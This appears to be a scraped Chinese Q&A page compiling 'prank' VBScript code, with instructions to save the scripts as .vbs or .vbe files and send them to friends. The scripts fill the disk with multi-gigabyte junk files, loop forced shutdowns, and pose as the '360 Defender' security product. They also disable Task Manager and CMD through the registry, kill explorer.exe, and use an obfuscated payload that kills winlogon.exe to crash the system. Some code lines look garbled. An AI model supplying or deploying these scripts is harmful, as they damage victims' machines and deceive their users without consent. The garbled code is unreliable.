求大量VBS整人代码.
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧CPU，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30G空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
整人代码
代码如下：set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在" 60-i "秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，
此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解 *** ：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
求一些好玩的整人代码~~
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im *** .exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你更好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
好玩的整人代码有哪些？
Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"
这个是一个清除器，你可以结束掉接下来你操作 当你打开其他VBS脚本时、不会关掉？ 就双击这个vbs脚本就可以了。
*** *** ：建立一个记事本。写下我告诉你的代码。 然后点击文件—留存为-选择所有文件，并且文件名为.vbs结尾【例如：我爱你.vbs】
供把资料和指示输入自动计算机或制表机的任何符号系统;亦指这种符号的记录(如靠打孔资料卡片或磁带上的受磁点。
手机qq整人代码大全谁有？ 发一下 谢谢
之一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个 *** 炸弹，在30秒后会自动关机。
下面说一下使用 *** ：
最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
微信炸群代码是什么？
所谓“微信炸弹”，就是在微信群聊中发送一些字符代码，大量动图、表情等占用手机运行空间大的消息，主要是一些乱码符号或者特定的漏洞代码，还有类似分享页的小页面消息，会导致所有微信接收消息的用户群聊卡住，甚至可能直接闪退，卡死。
谁有vbe整人代码越多越好
do:msgbox"爽死你~":loop
set ws=createobject("wscript.shell")
call shutdown(1)
do while a"孟哥无敌"
a=inputbox("说孟哥无敌,就不关机，快撒，说 ""孟哥无敌"" ","说不说","不说")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"孟哥无敌真的无敌吗!",4096+64
msgbox"孟哥无敌!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/82883883/infocenter"
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 1000
MsgBox i"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，孟航是不是大好人！",4096+64
if inputbox("是不是","请选择","不是")"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
vbs整人代码大全
这个很强悍的vbs,蓝屏
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runnerchr(strs(i))
next
Execute runner
vbs解包代码2010-03-27 21:43Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=HSH.mdb;"
